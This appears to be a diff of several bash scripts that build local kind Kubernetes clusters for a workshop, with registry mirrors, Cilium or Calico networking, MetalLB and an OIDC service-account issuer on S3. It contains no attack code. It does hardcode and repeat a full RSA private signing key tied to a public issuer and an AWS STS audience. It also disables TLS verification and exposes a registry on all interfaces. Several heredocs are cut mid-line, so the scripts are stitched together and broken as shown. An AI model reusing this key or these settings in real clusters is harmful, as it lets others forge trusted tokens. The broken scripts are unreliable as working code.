<./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + ipFamily: ipv6 +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].GlobalIPv6Address') +networkkind=$(echo ${ipkind} | rev | cut -d: -f2- | rev): + +#kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}${number}1-${networkkind}${number}9 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + 